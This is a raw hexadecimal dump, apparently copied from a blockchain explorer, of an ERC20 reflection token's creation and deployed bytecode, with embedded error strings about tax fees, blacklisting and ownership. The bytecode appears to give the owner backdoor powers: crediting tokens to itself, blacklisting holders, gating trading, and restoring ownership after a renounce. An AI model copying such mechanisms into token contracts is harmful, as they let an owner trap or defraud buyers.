ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611fda57611f96600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111fb565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506009819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6120f6613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146121b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600181101580156121c8575060318111155b61223a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f7461784665652073686f756c6420626520696e2031202d20343900000000000081525060200191505060405180910390fd5b8060128190555050565b61224c613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461230c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6123b8613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612478576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61259f613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461265f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b612718613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146127d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146128f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f6f776e6572206973207a65726f2061646472657373000000000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060108054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612a705780601f10612a4557610100808354040283529160200191612a70565b820191906000526020600020905b815481529060010190602001808311612a5357829003601f168201915b5050505050905090565b6000612b3d612a87613129565b84612b38856040518060600160405280602581526020016142e46025913960056000612ab1613129565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8a9092919063ffffffff16565b613131565b6001905092915050565b612b4f613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612c0f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60018110158015612c21575060318111155b612c93576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f6d61726b6574696e674665652073686f756c6420626520696e2031202d20313181525060200191505060405180910390fd5b8060138190555050565b6000601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000612cdb612cd4613129565b8484613328565b6001905092915050565b612ced613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612dad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b612e10613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612ed0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60018110158015612ee2575060318111155b612f54576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f6c69717569646974794665652073686f756c6420626520696e2031202d20313181525060200191505060405180910390fd5b8060148190555050565b6000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080831415613022576000905061308f565b600082840290508284828161303357fe5b041461308a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806141a56021913960400191505060405180910390fd5b809150505b92915050565b60006130d783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613c78565b905092915050565b600061312183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613a8a565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156131b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806142606024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561323d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806141316022913960400191505060405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156133ae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061423b6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613434576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806140e46023913960400191505060405180910390fd5b6000811161348d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806141ee6029913960400191505060405180910390fd5b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061352e5750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156135855760008114613584576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b60011515600a60009054906101000a900460ff16151514806135d957506135aa6129af565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061361657506135e76129af565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15613a2057600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156136be5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156138715761372f8160405180606001604052806026815260200161415360269139600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8a9092919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506137c481600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b7590919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3613a1b565b6138dd8160405180606001604052806026815260200161415360269139600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8a9092919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061397281600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b7590919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b613a85565b60011515600a60009054906101000a900460ff16151514613a84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b505050565b6000838311158290613b37576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613afc578082015181840152602081019050613ae1565b50505050905090810190601f168015613b295780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000806000613b57613d3e565b91509150613b6e818361309590919063ffffffff16565b9250505090565b600080828401905083811015613bf3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000806000806000806000806000613c2e8a601254613c29601454601354613b7590919063ffffffff16565b613fef565b9250925092506000613c3e613b4a565b90506000806000613c508e8786614085565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60008083118290613d24576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613ce9578082015181840152602081019050613cce565b50505050905090810190601f168015613d165780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581613d3057fe5b049050809150509392505050565b6000806000600b549050600069152d02c7e14af6800000905060005b600980549050811015613fa257826002600060098481548110613d7957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180613e605750816003600060098481548110613df857fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15613e7f57600b5469152d02c7e14af680000094509450505050613feb565b613f086002600060098481548110613e9357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846130df90919063ffffffff16565b9250613f936003600060098481548110613f1e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836130df90919063ffffffff16565b91508080600101915050613d5a565b50613fc269152d02c7e14af6800000600b5461309590919063ffffffff16565b821015613fe257600b5469152d02c7e14af6800000935093505050613feb565b81819350935050505b9091565b60008060008061401b606461400d888a61300f90919063ffffffff16565b61309590919063ffffffff16565b905060006140456064614037888b61300f90919063ffffffff16565b61309590919063ffffffff16565b9050600061406e87614060858c6130df90919063ffffffff16565b6130df90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061409e858861300f90919063ffffffff16565b905060006140b5868861300f90919063ffffffff16565b905060006140cc82846130df90919063ffffffff16565b90508281839550955095505050509350935093905056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63656d61785478416d6f756e742073686f756c642062652067726561746572207468616e20746f74616c20316539536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f57652063616e206e6f7420626c61636b6c69737420556e697377617020726f757465722e45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573736e756d546f6b656e7353656c6c546f416464546f4c69717569646974792073686f756c642062652067726561746572207468616e20746f74616c2031653957652063616e206e6f74206578636c75646520556e697377617020726f757465722e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220a94fcd4bd1a6abdaabf4ad144ddda98a7033bdde05f8d7419f7c9990a24c97d564736f6c63430007000033416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e73536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f770000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f

Deployed Bytecode

0x6080604052600436106102295760003560e01c80635880b873116101235780638da5cb5b116100ab578063a9059cbb1161006f578063a9059cbb14610c19578063af9549e014610c8a578063bcd6d44614610ce7578063cbc740aa14610d22578063dd62ed3e14610d6357610230565b80638da5cb5b14610a5b57806395d89b4114610a9c578063a457c2d714610b2c578063a52fe9bb14610b9d578063a55626cb14610bd857610230565b806377dd50e3116100f257806377dd50e3146108d45780637a997d7e146109255780637ded4d6a1461098c578063880ad0af146109dd57806388f82020146109f457610230565b80635880b873146107cc57806360a6f45a1461080757806370a0823114610858578063715018a6146108bd57610230565b8063313ce567116101b15780634303443d116101755780634303443d1461063b5780634549b0391461068c5780634a74bb02146106e757806352390c02146107145780635342acb41461076557610230565b8063313ce5671461051d5780633685d4191461054b578063373f0a041461059c57806339509351146105b35780633b525e601461062457610230565b80631bbae6e0116101f85780631bbae6e01461038c5780631decaadc146103c757806323b872dd146104025780632d8381191461049357806330599fc5146104e257610230565b806306fdde0314610235578063095ea7b3146102c557806313114a9d1461033657806318160ddd1461036157610230565b3661023057005b600080fd5b34801561024157600080fd5b5061024a610de8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561028a57808201518184015260208101905061026f565b50505050905090810190601f1680156102b75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102d157600080fd5b5061031e600480360360408110156102e857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e8a565b60405180821515815260200191505060405180910390f35b34801561034257600080fd5b5061034b610ea8565b6040518082815260200191505060405180910390f35b34801561036d57600080fd5b50610376610eb2565b6040518082815260200191505060405180910390f35b34801561039857600080fd5b506103c5600480360360208110156103af57600080fd5b8101908080359060200190929190505050610ec4565b005b3480156103d357600080fd5b50610400600480360360208110156103ea57600080fd5b8101908080359060200190929190505050610ff3565b005b34801561040e57600080fd5b5061047b6004803603606081101561042557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611122565b60405180821515815260200191505060405180910390f35b34801561049f57600080fd5b506104cc600480360360208110156104b657600080fd5b81019080803590602001909291905050506111fb565b6040518082815260200191505060405180910390f35b3480156104ee57600080fd5b5061051b6004803603602081101561050557600080fd5b810190808035906020019092919050505061127f565b005b34801561052957600080fd5b5061053261136e565b604051808260ff16815260200191505060405180910390f35b34801561055757600080fd5b5061059a6004803603602081101561056e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611385565b005b3480156105a857600080fd5b506105b161170f565b005b3480156105bf57600080fd5b5061060c600480360360408110156105d657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611831565b60405180821515815260200191505060405180910390f35b34801561063057600080fd5b506106396118e4565b005b34801561064757600080fd5b5061068a6004803603602081101561065e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a53565b005b34801561069857600080fd5b506106d1600480360360408110156106af57600080fd5b8101908080359060200190929190803515159060200190929190505050611c0f565b6040518082815260200191505060405180910390f35b3480156106f357600080fd5b506106fc611cce565b60405180821515815260200191505060405180910390f35b34801561072057600080fd5b506107636004803603602081101561073757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ce5565b005b34801561077157600080fd5b506107b46004803603602081101561078857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612098565b60405180821515815260200191505060405180910390f35b3480156107d857600080fd5b50610805600480360360208110156107ef57600080fd5b81019080803590602001909291905050506120ee565b005b34801561081357600080fd5b506108566004803603602081101561082a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612244565b005b34801561086457600080fd5b506108a76004803603602081101561087b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612367565b6040518082815260200191505060405180910390f35b3480156108c957600080fd5b506108d26123b0565b005b3480156108e057600080fd5b50610923600480360360208110156108f757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612597565b005b34801561093157600080fd5b506109746004803603602081101561094857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506126ba565b60405180821515815260200191505060405180910390f35b34801561099857600080fd5b506109db600480360360208110156109af57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612710565b005b3480156109e957600080fd5b506109f2612833565b005b348015610a0057600080fd5b50610a4360048036036020811015610a1757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612959565b60405180821515815260200191505060405180910390f35b348015610a6757600080fd5b50610a706129af565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610aa857600080fd5b50610ab16129d8565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610af1578082015181840152602081019050610ad6565b50505050905090810190601f168015610b1e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610b3857600080fd5b50610b8560048036036040811015610b4f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612a7a565b60405180821515815260200191505060405180910390f35b348015610ba957600080fd5b50610bd660048036036020811015610bc057600080fd5b8101908080359060200190929190505050612b47565b005b348015610be457600080fd5b50610bed612c9d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c2557600080fd5b50610c7260048036036040811015610c3c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612cc7565b60405180821515815260200191505060405180910390f35b348015610c9657600080fd5b50610ce560048036036040811015610cad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050612ce5565b005b348015610cf357600080fd5b50610d2060048036036020811015610d0a57600080fd5b8101908080359060200190929190505050612e08565b005b348015610d2e57600080fd5b50610d37612f5e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610d6f57600080fd5b50610dd260048036036040811015610d8657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612f88565b6040518082815260200191505060405180910390f35b6060600f8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e805780601f10610e5557610100808354040283529160200191610e80565b820191906000526020600020905b815481529060010190602001808311610e6357829003601f168201915b5050505050905090565b6000610e9e610e97613129565b8484613131565b6001905092915050565b6000600d54905090565b600069152d02c7e14af6800000905090565b610ecc613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f8c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b633b9aca00811015610fe9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180614179602c913960400191505060405180910390fd5b80601c8190555050565b610ffb613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b633b9aca00811015611118576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603e815260200180614284603e913960400191505060405180910390fd5b80601d8190555050565b600061112f848484613328565b6111f08461113b613129565b6111eb856040518060600160405280602881526020016141c660289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006111a1613129565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8a9092919063ffffffff16565b613131565b600190509392505050565b6000600b54821115611258576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180614107602a913960400191505060405180910390fd5b6000611262613b4a565b9050611277818461309590919063ffffffff16565b915050919050565b611287613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611347576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611359306113536129af565b83613131565b61136b306113656129af565b83613328565b50565b6000601160009054906101000a900460ff16905090565b61138d613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461144d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661150c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b60005b60098054905081101561170b578173ffffffffffffffffffffffffffffffffffffffff166009828154811061154057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156116fe5760096001600980549050038154811061159c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600982815481106115d457fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060098054806116c457fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055905561170b565b808060010191505061150f565b5050565b611717613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60011515600a60009054906101000a900460ff1615151415611813576000600a60006101000a81548160ff02191690831515021790555061182f565b6001600a60006101000a81548160ff0219169083151502179055505b565b60006118da61183e613129565b846118d5856005600061184f613129565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b7590919063ffffffff16565b613131565b6001905092915050565b6118ec613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611a07600c54600460006119be613129565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b7590919063ffffffff16565b60046000611a13613129565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550565b611a5b613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b1b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611bb4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806142176024913960400191505060405180910390fd5b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600069152d02c7e14af6800000831115611c91576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b81611cb1576000611ca184613bfd565b5050505050905080915050611cc8565b6000611cbc84613bfd565b50505050915050809150505b92915050565b6000600a60009054906101000a900460ff16905090565b611ced613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611dad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b737a250d5630b4